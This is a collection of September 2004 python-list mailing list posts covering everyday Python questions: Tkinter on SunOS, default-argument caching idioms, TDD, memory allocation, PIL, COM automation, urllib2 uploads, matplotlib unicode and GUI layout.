Subject: Problem with Python and _tkinter on SunOS system
References: <mailman.3359.1095251598.5135.python-list@python.org>
	<ci9l7j$f6o$1@news-reader2.wanadoo.fr>
Message-ID: <b012e8e5.0409152253.600e4f7a@posting.google.com>

Hello,

Thanks for your answer. I tried to run wish and wish8.4 and it both
works! (a little screen appears on the screen). So, apparently Tcl/Tk
works?!

It's right that I didn't compile Python myself because I'm in training
period in a big company and I use SunOS from the network. But the
Network administrator doesn't know exactly why Python doesn't run on
SunOS, so I try to find a solution by my side...

So, I will told him to look at the Setup file and to do the right
modifications.

Thanks. 


Eric Brunel <eric_brunel at despammed.com> wrote in message news:<ci9l7j$f6o$1 at news-reader2.wanadoo.fr>...
> gaool at caramail.com wrote:
> > Hello,
> >  
> >  I try to launch a Python script on SunOS system but I have this error:
> >  
> >  """Traceback (most recent call last):
> >    File "ihm1_1.py", line 3, in ?
> >      from Tkinter import *
> >    File "/opt/sfw/lib/python2.3/lib-tk/Tkinter.py", line 38, in ?
> >      import _tkinter # If this fails your Python may not be 
> >  configured for Tk
> >  ImportError: ld.so.1: python: fatal: relocation error: file 
> >  /usr/local/lib/libtk8.4.so: symbol __eprintf: referenced 
> >  symbol not found"""
> 
> Does tcl/tk work? I.e., if you run wish or wish8.4, does it work? It seems that 
> it can be a problem with a shared object used by libtk8.4.so that cannot be found.
> 
> [snip]
> >  Then, I tried to find a solution and this is what i've found 
> >  on the Python web site:
> >  """
> >  Step 1 - can _tkinter be imported?
> >  Try the following command at the Python prompt: 
> >  >>> import _tkinter # with underscore, and lowercase 't'
> >  * If it works, skip to the next step. 
> >  * If it fails with "No module named _tkinter", your Python 
> >    configuration needs to be modified to include this module 
> >    (which is an extension module implemented in C). Edit 
> >    Modules/Setup (read the instructions at the top, search for 
> >    _tkinter, read more instructions there, and follow the 
> >    instructions) and rebuild and reinstall. Make sure to 
> >    enable the _tkinter module as well as the TKPATH variable 
> >    definition. 
> >  * If it fails with an error from the dynamic linker, see 
> >    above (for Unix, check for a header/library file mismatch; 
> >    for Windows, check that the TCL/TK DLLs can be found).""" 
> >  
> >  But I don't understand what "Edit Modules/Setup" means? Where is it ? 
> >  What is TKPATH? How can I modify it?
> 
> You didn't compile your Python interpreter yourself, did you? The Setup file is 
> in Python's source directory under the Modules directory. Open this file in a 
> text editor and look for a line containing _tkinter. Read the comments after 
> this line; they should be self-explanatory. If you modify the file, you'll have 
> to re-compile your interpreter.
> 
> > Do you think my problem comes from that "Edit Modules/Setup" ? Or do you think that there is something else wrong ? 
> 
> Maybe, maybe not... Apparently, the tk library is found, so Python seems to be 
> correctly configured. Maybe the problem is in the tcl/tk installation, but you 
> should see that by running wish.
> 
> HTH


From carribeiro at gmail.com  Wed Sep  8 10:22:52 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 8 Sep 2004 11:22:52 -0300
Subject: A historical question
In-Reply-To: <chmphe$21tc$1@ulysses.noc.ntua.gr>
References: <chmphe$21tc$1@ulysses.noc.ntua.gr>
Message-ID: <864d37090409080722445218a@mail.gmail.com>

On Wed, 08 Sep 2004 14:20:40 -0700, Jerald <jfj at freemail.gr> wrote:
> I'd like to know when python started working with bytecode.
> It seems natural that in the first python implementations
> code was really interpreted : executed directly.

I assume that you expect direct execution to be the easiest way to
start implementing a new language. However, that's far from true. It's
actually pretty difficult to execut programs in procedural languages
*without* some form of intermediate code, and almost all computer
languages are compiled at some level before execution. The only
situation where direct execution makes sense is in the case of simple
command line interfaces; some simple shell script languages may be
still executed this way, but that's an exception to the rule. Even old
languages such as BASIC used to be compiled to some form of
intermediate code -- a similar concept to Python's bytecode, but much
simpler.

You may think that to create a virtual machine or compiler for a new
language is a hard task. But there is a huge body of theorethical
knowledge regarding all the pieces of software required to implement a
new computer language that can be used for this purpose. There is no
need to reinvent the wheel here. Concepts such as language parser,
intermediate code generator, optimizer, etc -- they're all quite old
and well understood. Automatic tools and code generators can be used,
given the language definition, to create a basic compiler for it. Of
course, there are a few areas with hot new advancements, but the
basics are already solidly understood.

The most dificult part is not implementing the basic compiler or
virtual machine. The hardest part is coming up with a clear and
powerful language design. That's where Python really shines.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From agriff at tin.it  Tue Sep 28 02:32:37 2004
From: agriff at tin.it (Andrea Griffini)
Date: Tue, 28 Sep 2004 06:32:37 GMT
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
	<mailman.3834.1096015522.5135.python-list@python.org>
	<RImdnbz2hMm7v8ncRVn-qg@lmi.net>
	<cj18jn$47n$1@pegasus.csx.cam.ac.uk>
	<2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com>
	<1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com>
Message-ID: <e9vhl0pheg3tqe1eop84me8ahdgkoq6t3i@4ax.com>

On Sun, 26 Sep 2004 10:39:15 +0200, aleaxit at yahoo.com (Alex Martelli)
wrote:

>vs your apparently implied suggestion of:
>
>def f(x):
>    if x in f.cache: ...
>f.cache = []

I like more...

   def f(x):
       if not hasattr(f,"cache"):
           f.cache = []
       ...

>which among other things suffers from f.cache having to be used in spots
>that come lexically before it's defined; or a decorator equivalent:
>
>@ set_function_attributes(cache=[])
>def f(x):
>    if x in f.cache: ...

The best I can think to is something like

    def f(x):
        static cache = []
        ...

In other languages (mostly C) there cases in which I found
nice the idea of a local name for a globally living object.

>As for 'risky', both approaches are.  The default argument risks the
>user mistakenly passing a corresponding actual-argment; the function
>attribute risks the user rebinding the name.

?

Passing a parameter to a function that, by the way, is declaring
it *wants* it doesn't seem to me the same as messing with
internals of something from the outside.

>It just don't work when the function name aint'a global, as in a
>closure; nor does it work equivalently for an overriden method, e.g.:

?

    def foo(x):
        def bar(y):
            if not hasattr(bar,"cache"):
                bar.cache = []
            bar.cache.append(x+y)
            return bar.cache
        return bar

    bar_1 = foo(1)
    bar_2 = foo(2)
    print bar_1(1),bar_1(2),bar_1(3)
    print bar_2(1),bar_2(2),bar_2(3)

>here you get two separate caches, one for base.f and one for derived.f,
>no sweat -- and if you want base.f to use derived.f's cache when call
>from there, just chance the last call to 'base.f(self, x, cache)' --
>obvious, simple, elementary.

When you need to mess with the those vars from the "outside" then
it's clear you're not looking for a static; probably you're not
even looking for a function as the interaction with the "state" is
getting too important. IMO in these cases it's *way* better to
use a class instead (may be one implementing the call interface).

>And good luck in explaining all this to beginners -- while the default
>argument approach is really trivial to explain.  Simple is better than
>complex, and a general technique like using default values for caching
>is better than a technique based on attributes which is not general
>enough to be just used everywhere.

Once reading that default were evaluated at function definition
time was enough for me; and I honestly say that I don't remember
ever falling for this trap of modifiable default values (so far).

However this seems happening quite frequently to novices; actually
*very* frequently. So either all the world is wrong or this very
specific part of the language has a problem.

>_Plus_, teaching this use of default values to beginners helps them
>understand how default values work in all cases.  Explaining the dirty
>tricks needed to extend a bit the applicability of using function
>attributes for caching offers no such nice "side advantage".

Sure there is a plus in clearly understanding that function
definition is an executable statement in python. But using
an unrelated arbitrary fact (that default values are evaluated
at that time instead than at call time) isn't IMO a good example.
A better one I would say is ...

    if raw_input("A or B ?") == "A":
        def foo(x):
            return x * 2
    else:
        def foo(x):
            return x * x

    print foo(12)

>I think there are plenty of good reasons, see above.

I didn't find any of them *really* good

>In addition, accessing a local name is of course way faster than
>accessing a global name and then an attribute thereof.

Yeah, static are slower than necessary; and uglier also.

May be the direction could be fixing that instead of just
pushing towards an ugly hack that just happens to work.

>Yes, it helps them a lot to understand, realize, and remember, that
>default values are shared among all of a function's calls.

That's the wart!
 
>It's simpler and more general.

To me seems an unrelated side-effect of the decision of
when to evaluate default parameters. I'm not questioning
the decision per se (it has pros and cons... for example
you can't use things like "def foo(x,y,z=x+y)") but that
using fake parameters for static is ugly and error prone.


Just my 0.02 euros of (still) fresh eye opinion


Andrea


From peter at engcorp.com  Fri Sep  3 17:51:49 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Sep 2004 17:51:49 -0400
Subject: How to actually write a program?
In-Reply-To: <chano0$1gv$1@sparta.btinternet.com>
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <l42dnXanZtFhe6XcRVn-rw@powergate.ca>

Nick Evans wrote:
> Hello there,
> I have been on and off learning to code (with python being the second
> language I have worked on after a bit of BASIC). What I really want to know
> is, if you are going to actually write a program or a project of some sort,
> how do you actually start.
> 
> Picture this, you know what you want the program to do (its features), you
> have a possably rough idea of how the program will work. You have opened an
> empty text file and saved it as 'mykewlprogram.py' and now your sitting in
> front of an empty text file... Now then.... where do I start.
> 
> Any ideas about this problem :-)

Sure, first you write a test.  Then you run it and make sure it fails
(because of course no other code exists yet).  Then you write just
enough code to pass the test.  Run the test again, and get it to
pass.  Clean things up and go back to the start...

http://diveintopython.org/unit_testing/

http://c2.com/cgi/wiki?TestDrivenDevelopment

http://www.amazon.com/exec/obidos/tg/detail/-/0321146530/104-0524681-1524713?v=glance

http://www.objectmentor.com/writeUps/TestDrivenDevelopment

http://www.agiledata.org/essays/tdd.html

http://groups.yahoo.com/group/testdrivendevelopment/

http://www.testdriven.com/

etc...

-Peter


From aleaxit at yahoo.com  Wed Sep 22 18:05:14 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 00:05:14 +0200
Subject: detecting variable types
References: <cisjhb$6kr$1@news-int.gatech.edu>
	<Y-WdnWCkPIytTszcRVn-vQ@powergate.ca>
	<ciskpq$7f2$1@news-int.gatech.edu>
	<Owl4d.414337$OB3.377122@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <1gkjh1z.1uler591nt2jgkN%aleaxit@yahoo.com>

Andrew Koenig <ark at acm.org> wrote:
   ...
> I don't see anything particularly wrong with detecting the type this way:
> 
>     if isinstance(params[key1], list):

Better than checking type(...), but then, a lesser evil need not be
'right'.

> Of course that won't work for other kinds of sequences, but if that's what
> you want, then that's what you want.

Sometimes people want what's not best for them, and sometimes they
believe they want something, but really don't.  If somebody asks me
about how best to shoot his own foot, I may perhaps suggest weapon types
and suitable ammunition, but often I'd add some note about the problems
that often result by shooting one's own foot, even with the most
suitable choice of ammunition and weapon.  ((Come on -- if somebody
asked __in a C++ group__ how best to code the equivalent of...:

    if(is_circle(x)) draw_circle(x);
    else if(is_square(x)) draw_square(x);
    ...
would you just mention how dynamic_cast may be used for the purpose,
without one word as to how a polymorphic x.draw() is better...?-))

Nevertheless, singling out _strings_ from other kinds of sequences and
iterables IS unfortunately needed sometimes.  That's why built-in type
basestring exists: for the sole reason of allowing a typetest of the
form "if isinstance(whatever, basestring):...".  Once strings (byte and
unicode kinds) are out of the way, all other sequences and iterables can
often be treated uniformly and polymorphically with a for loop or
whatever.  A frequent idiom:

   if isinstance(whatever, basestring):
       whatever = [whatever]
   try: whatever = iter(whatever)
   except TypeError: whatever = iter([whatever])
   for item in whatever:
      ...

this deals sensibly with being passed any iterable (singling out strings
as scalars even though they're iterable) OR any non-iterable (to be
treated as the equivalent singleton-iterable with that one item only).


Alex


From elbertlev at hotmail.com  Wed Sep 29 07:18:21 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 29 Sep 2004 04:18:21 -0700
Subject: annoying behavior
References: <9418be08.0409280856.9368ddf@posting.google.com>	<41599BD7.7040809@bellsouth.net>
	<mailman.4029.1096404065.5135.python-list@python.org>
	<653b7547.0409281915.5ff0d92e@posting.google.com>
Message-ID: <9418be08.0409290318.7c81750c@posting.google.com>

pmaupin at speakeasy.net (Patrick Maupin) wrote in message news:<653b7547.0409281915.5ff0d92e at posting.google.com>...
> <elbertlev at hotmail.com> wrote:

Making interpreter 100% "bullet prove" is impossible, finding errors,
which can be found, not only possible, but also very commendable.

Isn't this obvious? 

Let's stop wasting time on this discussion and continue discussing
decorators :)

Regards


From miki.tebeka at zoran.com  Mon Sep  6 11:05:48 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: Mon, 6 Sep 2004 17:05:48 +0200
Subject: python memory analysis
In-Reply-To: <200409061457.50722.alexander.hoffmann@netgenius.de>
References: <200409061457.50722.alexander.hoffmann@netgenius.de>
Message-ID: <20040906150548.GL2220@zoran.com>

Hello Alexander,

> I wrote a deamon like program in python and after a while I realized that it
> consumes more and more memory over time. So my question is: How to debug
> memory leaks in python ?
Try the gc module.

Bye.
--
------------------------------------------------------------------------
Miki Tebeka <miki.tebeka at zoran.com>
http://tebeka.spymac.net
The only difference between children and adults is the price of the toys


From nem at nowhere.invalid  Tue Sep  7 02:41:59 2004
From: nem at nowhere.invalid (Nemesis)
Date: 7 Sep 2004 06:41:59 GMT
Subject: open default MUA with a hyper link
References: <chalvm$1944$1@biggoron.nerim.net>
	<mailman.2850.1094246310.5135.python-list@python.org>
	<chh9lt$imf$1@e3k.asi.ansaldo.it>
	<1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com>
	<chhjg9$dqc$1@e3k.asi.ansaldo.it>
	<1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com>
Message-ID: <chjl7n$lv2$1@e3k.asi.ansaldo.it>

"Alex Martelli" wrote:

>> Thank you for the link.
>> I tried that syntax, but it seems that Internet Explorer
>> doesn't support multiline bodies :-/
>
> Your choice is then to either upgrade to a better browser (IE has been
> stagnant in features for years, resting on its laurels) or to drive IE
> more intimately and "proprietarily" -- with win32com you can probably
> make it turn somersaults, although your hair will whiten considerably
> while you learn how to do so.

Actually I use Firebird ;-)
I'm studying this syntax in order to implement it in XPN, the newsreader
I'm writing. I'd like to use it when the article has a 

"Followup-To: poster". 

So I need a simple and multiplatform solution.

However I found that I can use an encoded form of the newline (%0A) that
works with IE (I haven't tried yet with different browsers).I think I'll
use the urllib.quote function in order to obtain this coding.

-- 
XPN :: http://xpn.altervista.org



From maxm at mxm.dk  Mon Sep 13 16:00:15 2004
From: maxm at mxm.dk (Max M)
Date: Mon, 13 Sep 2004 22:00:15 +0200
Subject: PIL - setting the width of lines in ImageDraw
Message-ID: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk>

I am using PIL to generate som graphs, like:

draw = ImageDraw.Draw(im)
for graph in self.graphs:
     polygon = graph.getPolygon()
     draw.polygon(polygon, outline=graph.color)
del draw

But the linewidth of my polygon is only one pixel wide. Is there any way 
to set it to something else?

(How nice it would be to have css compatible parameters on polygons, 
like: draw.polygon(polygon, border="1px solid gray"))

I have read the docs, and browsed the source. But me being a lowly 
Windows developer I stopped at _imaging.py module, which the ImageDraw 
module apparantly use to do the actual drawing.


regards Max M


From benevilent at optusnet.com.au  Mon Sep 20 01:53:15 2004
From: benevilent at optusnet.com.au (benevilent at optusnet.com.au)
Date: Mon, 20 Sep 2004 15:53:15 +1000
Subject: memory allocation
References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au>
	<pan.2004.09.19.18.28.33.473150@optusnet.com.au>
	<mailman.3536.1095658533.5135.python-list@python.org>
Message-ID: <pan.2004.09.20.05.53.15.48658@optusnet.com.au>

Hey Tim,

Thanks for the response.

On Mon, 20 Sep 2004 01:35:31 -0400, Tim Peters wrote:

[..]

>> Hence as time goes by the memory required by the program increases
>> (assuming increasing memory requirements of the application), and it will not
>> dynamically expand and contract with the memory allocations/deallocations
>> as you would expect with an ordinary program. Is my understanding of this
>> correct?
> 
> Possibly.  I personally don't expect simplistic behavior from programs
> that use only malloc and free, assuming that's what "an ordinary
> program" intends to mean here.  The relationship between the platform
> malloc/free and "memory required by the program" is usually very
> complex.  Throwing pymalloc into the mix too makes it even more
> complex.  "memory required by the program" is ambiguous on its own on
> machines with virtual memory, due to distinguishing between RAM in use
> and paged-out virtual address space that's never referenced again.

For this discussion I will refer to the virtual memory occupied by the
program.

> [... later ...]
> 
>> Is it possible to change the memory allocation scheme of Python so that I
>> can confirm this?
> 
> You can build Python without pymalloc.  I've never done that myself,
> so am not sure how to do it.  Could be that passing --with-pymalloc=no
> would suffice.

I have built with this option, but to no avail. I can provide a sample
c program (which has it's virtual memory size expand and contract
dynamically), and a similar python program for which this does not
occur.



From timr at probo.com  Mon Sep 13 02:13:49 2004
From: timr at probo.com (Tim Roberts)
Date: Sun, 12 Sep 2004 23:13:49 -0700
Subject: read all available pages on a Website
References: <ci2qnl$2jq$1@solaris.cc.vt.edu>
Message-ID: <pheak01mo1ti6usa1sl2a4g801bik9o5h8@4ax.com>

Brad Tilley <bradtilley at usa.net> wrote:

>Is there a way to make urllib or urllib2 read all of the pages on a Web 
>site? For example, say I wanted to read each page of www.python.org into 
>separate strings (a string for each page). The problem is that I don't 
>know how many pages are at www.python.org. How can I handle this?

You have to parse the HTML to pull out all the links and images and fetch
them, one by one.  sgmllib can help with the parsing.  You can multithread
this, if performance in an issue.

By the way, there are many web sites for which this sort of behavior is not
welcome.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From kwd at lawcomputing.com  Fri Sep  3 12:31:04 2004
From: kwd at lawcomputing.com (Kendall Dugger)
Date: 03 Sep 2004 12:31:04 EDT
Subject: Python COM vs Visual Basic COM
Message-ID: <41389DCD.33B3D0E4@lawcomputing.com>


I have to use an ultra simple call to a couple of
WordPerfect COM functions.

This works in Visual Basic as follows:

    Dim objWP As Variant
    Dim DocSumString As Variant
    Set objWP = CreateObject("WordPerfect.PerfectScript")
    objWP.FileOpen "c:\zebra.wpd", 1
    DocSumString = objWP.DocSumGet(18)
    Me!Text1 = DocSumString

This opens a WordPerfect file and grabs the 'Descriptive
Type' field from the document summary as a string.  Pretty
simple.

Here is almost Identical Python Code:

import win32com.client
objWP =
win32com.client.Dispatch("WordPerfect.PerfectScript")
objWP.FileOpen("c:\\zebra.wpd", 1)
DocSumString = objWP.DocSumGet(18)


When I run it it gives me the following error:

Traceback (most recent call last):
  File "C:/python_code/getdescriptivetype.py", line 3, in
-toplevel-
    objWP.FileOpen("c:\\zebra.wpd", 1)
  File
"C:\PYTHON23\Lib\site-packages\win32com\client\dynamic.py",
line 484, in __getattr__
    raise pythoncom.com_error, details
com_error: (-2147352567, 'Exception occurred.', (61704,
'WPWIN10', 'Internal application error.', None, 0, 0), None)

I am unable to decipher what this means and am at a loss for
what to try next.

I can write my application in Visual Basic if I have to, but
I would much rather use Python.  

Any assistance will be greatly appreciated.

Thanks,

-Kendall


From tungwaiyip at yahoo.com  Thu Sep  2 12:37:03 2004
From: tungwaiyip at yahoo.com (Wai Yip Tung)
Date: Thu, 02 Sep 2004 09:37:03 -0700
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
Message-ID: <opsdpkf1d5433nmu@news.cisco.com>

I'm not sure what do you mean by index. But you can use len() to get the  
number of objects in a tuple. e.g.

>>> t=(1,2,3)
>>> len(t)
3
>>> t[2]
3
>>>

> Hi,
>
> Why is that a tuple doesnt have the methods 'count' and 'index'? It  
> seems they could be present on a immutable object.
>
> I realise its easy enough to convert the tuple to a list and do this,  
> I'm just curious why it is neccesary..
>
>
> Thanks,
>
> Will McGugan



From wzab at ipebio15.ise.pw.edu.pl  Tue Sep 21 09:11:47 2004
From: wzab at ipebio15.ise.pw.edu.pl (Wojciech Zabolotny)
Date: Tue, 21 Sep 2004 15:11:47 +0200
Subject: Unicode string in python-plplot?
Message-ID: <Pine.LNX.4.21.0409211511130.14907-100000@ipebio15.ise.pw.edu.pl>

On Mon, 20 Sep 2004, Fernando Perez wrote:
> 
> You might want to try matplotlib.  I don't specifically know about its unicode
> support, but I'd guess it's either there or can be added if you point out
> problems.  Matplotlib is very actively developed, and has a really clean
> interface which allows interactive and off-line plots, as well as being
> available as a widget you can embed in your own Tk, GTK or WX apps.
> 
Thanks a lot, it really was a good solution.
I had some problems with unicode in matplotlib as well, however
the essential was to select the proper unicode capable backend (GTK)
BEFORE i imported the matlab emulation.
Below is my code snippet (based on the matplotlib tutorial example) which
succesfully displays unicode string:

#!/usr/bin/python
# -*- Encoding: iso-8859-2 -*-
import matplotlib
matplotlib.use('GTK')
from matplotlib.matlab import *
from matplotlib.font_manager import *
p = FontProperties()
font = {'fontname'   : 'Lucida',
        'color'      : 'r',
        'fontweight' : 'bold',
        'fontsize'   : 16}
plot([1,2,3])
xlabel(u'nat??enie',font)
ylabel(u'napi?cie',font)
title(u'Wykres z polskimi literkami ?????????',font)
show()

Thank a lot,
Wojtek Zabolotny





From peter at engcorp.com  Thu Sep  2 23:42:21 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Sep 2004 23:42:21 -0400
Subject: OT: DeviceNet via Python (was Re: It's in Python. It just _works_!)
In-Reply-To: <4137b3ed$0$65570$a1866201@newsreader.visi.com>
References: <4137b3ed$0$65570$a1866201@newsreader.visi.com>
Message-ID: <9JmdnQgSR7k-eqrcRVn-sA@powergate.ca>

Grant Edwards wrote:

> A few months back I wrote a sort of a strip-chart recorder
> program that talks DeviceNet to a measurement widget and plots
...

Grant, could you say anything about what gadgets were involved
that let you talk to DeviceNet with Python?  Did it have a
serial port, or talk TCP directly, or something else?

-Peter


From martin at v.loewis.de  Sat Sep  4 12:02:56 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 04 Sep 2004 18:02:56 +0200
Subject: Method returning new instance of class?
In-Reply-To: <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>
	<4139a87a$0$30204$9b622d9e@news.freenet.de>
	<2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
Message-ID: <4139E730.4060203@v.loewis.de>

Arthur wrote:
> The app is graphical, and I use a Python extensions in C++ using the Boost
> library (vpython, new version).  My class instance has an attribute which is
> a vpython object. Copy.copy doesn't get me where I need to be because my new
> instance gets a reference to the same vpython object, and changes to it are
> reflected in the original instance. 
[...]
> 
> But do you see any reason why this might be?

Certainly. copy.copy expects that each object follows a certain protocol
for copying. Copying of certain types (including all classic classes)
is build into copy.py. For newstyle classes and all other types, copying
procedures must be registered with copy_reg. If a type is not registered
with copy_reg, as a last fall back, the __reduce_ex__ and __reduce__
functions are invoked for the type. If not specifically overridden, they
always return the original object.

Regards,
Martin


From fuzzyman at gmail.com  Mon Sep 13 06:18:16 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 13 Sep 2004 03:18:16 -0700
Subject: File upload by urllib2
Message-ID: <6f402501.0409130218.2901e871@posting.google.com>

Does anyone know how to do a 'file upload' using urllib2 ? 
There is an example of doing file upload using httplib - on
activestate python cookbook.

I have code that uses a request object to make requests using
urllib2.urlopen (including cookie handling via ClientCookie) - which
means it would be extremely incovenient (including probably not
working without the cookie handling) to have to use httplib. It would
also mean duplicating the code...

I had thought of just adding the headers manually using add_header -
but for multipart data we need boundaries and the suchlike...... Has
anyone done this or know the right incantations to do it ?

Regards,


Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From Brian.Inglis at SystematicSW.Invalid  Thu Sep  2 04:30:21 2004
From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis)
Date: Thu, 02 Sep 2004 08:30:21 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
Message-ID: <86mdj05ucclb3tqjqgevum54o7k8jt2msq@4ax.com>

On Tue, 31 Aug 2004 21:36:14 -0500 in alt.folklore.computers,
rpw3 at rpw3.org (Rob Warnock) wrote:

>Craig A. Finseth  <news at finseth.com> wrote:
>+---------------
>| Ville Vainio  <ville at spammers.com> wrote:
>| >... and / as path separator still screws up most of their cmd line
>| >programs (which think / is for command line options).
>| >Microsoft probably thought avoiding compatibility is a good idea, and
>| >have only lately started to have some regrets...
>| 
>| Wrong.  The / was chosen as the command line option separator because
>| whoever wrote MSDOS was looking to CP/M, who modelled their commands
>| after a PDP-11 operating system (RT-11?).
>+---------------
>
>Which, like PS/8 & OS-8 [and "DECsystem-8" from Geordia Tech] for the
>PDP-8, modelled the command syntax after that of the venerable PDP-10!!
>
>+---------------
>| Consider the "PIP" command.
>+---------------
>
>Indeed. And COPY & DEL & DIR, etc.

But CP/M also derived from IBM VM CP(!) and CMS:

	mount a ...
	attach con/rdr/lst/pun ...

It's been too long!

-- 
Thanks. Take care, Brian Inglis 	Calgary, Alberta, Canada

Brian.Inglis at CSi.com 	(Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca)
    fake address		use address above to reply


From SBrunning at trisystems.co.uk  Wed Sep  1 08:12:18 2004
From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk)
Date: Wed, 1 Sep 2004 13:12:18 +0100 
Subject: sys.stdin.readline()
Message-ID: <9EED4A0E5EFBD811901100600846864D06107D@intrepid>

> From: aleaxit at yahoo.com [mailto:aleaxit at yahoo.com]
> 
> No, I think you're correctly observing that Python isn't oriented to
> one-liners -- not at all.  Most interesting things in Python require
> more than one line.  You could write a "oneliners shell" that 
> takes some
> defined separator and turns it into a newline, of course, e.g.:
> 
> bangoneliner.py:
>     #!/usr/bin/env python
>     import sys
>     oneliner = sys.argv.pop(1)
>     exec '\n'.join(oneliner.split('!'))

Check out PyOne[1]. It's a somewhat more sophisticated implementation of
this idea.

Cheers,
Simon B.
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/ 

[1] http://www.unixuser.org/~euske/pyone/




-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.


From ialbert at mailblocks.com  Fri Sep 10 09:27:19 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 10 Sep 2004 09:27:19 -0400
Subject: Electronic voting feasibility
In-Reply-To: <mailman.3140.1094820652.5135.python-list@python.org>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
Message-ID: <otKdnctyIcclNtzcRVn-gg@giganews.com>

Jaime Wyant wrote:

> I think the negativity is well founded.  http://www.blackboxvoting.org/

I was referring to the real voting not the real-electronic voting.

I can't judge whether this site speaks the truths or not but
their tone and style is very aggressive, steamrolling and
manipulative. Read a few sites that argue that the world
is flat or smoking is good for your health.

Istvan.





From tchur at optushome.com.au  Tue Sep 21 00:01:14 2004
From: tchur at optushome.com.au (Tim Churches)
Date: Tue, 21 Sep 2004 14:01:14 +1000
Subject: Twisted Matrix - The Motion Picture
Message-ID: <200409210401.i8L41EPm008828@mail04.syd.optusnet.com.au>

An embedded and charset-unspecified text was scrubbed...
Name: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040921/298d6e93/attachment.ksh>

From ed at leafe.com  Sun Sep 26 08:28:10 2004
From: ed at leafe.com (Ed Leafe)
Date: Sun, 26 Sep 2004 08:28:10 -0400
Subject: up with PyGUI!
In-Reply-To: <Xns956FC698DBC7DOKB@130.133.1.4>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org>
	<2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
	<18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
	<864d370904092515311da67bb6@mail.gmail.com>
	<mailman.3917.1096163923.5135.python-list@python.org>
	<Xns956FC698DBC7DOKB@130.133.1.4>
Message-ID: <86F69852-0FB7-11D9-B926-003065B11E84@leafe.com>

On Sep 26, 2004, at 2:31 AM, OKB (not okblacke) wrote:

>     		How am I supposed to know, just by looking at that, which
> controls are in which sizers and what the relationship is between the
> two sizers?  I have to visually parse every single line -- not just the
> creation of each widget, but also the line that adds it to a sizer.  
> And
> there could easily be an inconsistency -- you might accidentally give a
> widget a parent that's inconsistent with the sizer you add it to.  With
> a nested structure it becomes clear:
>
> class frame(wxFrame):
>     	class sizer1(wxBoxSizer):
>     	    	class button1(wxButton):
>     	    	    	# name, size, etc.
>     	    	class button2(wxButton):
>     	    	    	# etc.
>     	    	class panel(wxPanel):
>     	    	    	class sizer2(wxBoxSizer):
>     	    	    	    	class listBox1(wxComboBox): # etc.
>     	    	    	    	class listBox2(wxComboBox): # etc.
>     	    	    	    	class button3(wxButton): # etc.
>     	    	    	    	class text(wxTextCtrl): # etc.

	Forgive me if this is an oversimplification, but it looks like what 
you want is an XML-based definition of your UI objects, and are trying 
to approximate that with Python syntax. What you've written looks an 
awful lot like an XRC file structure, albeit without the closing tags.

	In Dabo, our first attempt at creating a visual form designer was 
along the lines of PythonCard: place controls on their container, and 
resize/move them visually. Once we started to tackle nested containers, 
though, we abandoned that approach for the reasons you cited: it's 
simply too confusing to see what goes where. We are now working on 
adapting wxGlade to use Dabo classes, as that visually shows the 
nesting in a clear an unambiguous tree. Dabo would then know how to 
create the form from the XML, or, in the alternative, we would create 
Dabo code that the developer could then modify. The latter seems like 
it would have to be a one-way process, while keeping things in XML 
could allow for two-way editing.

      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



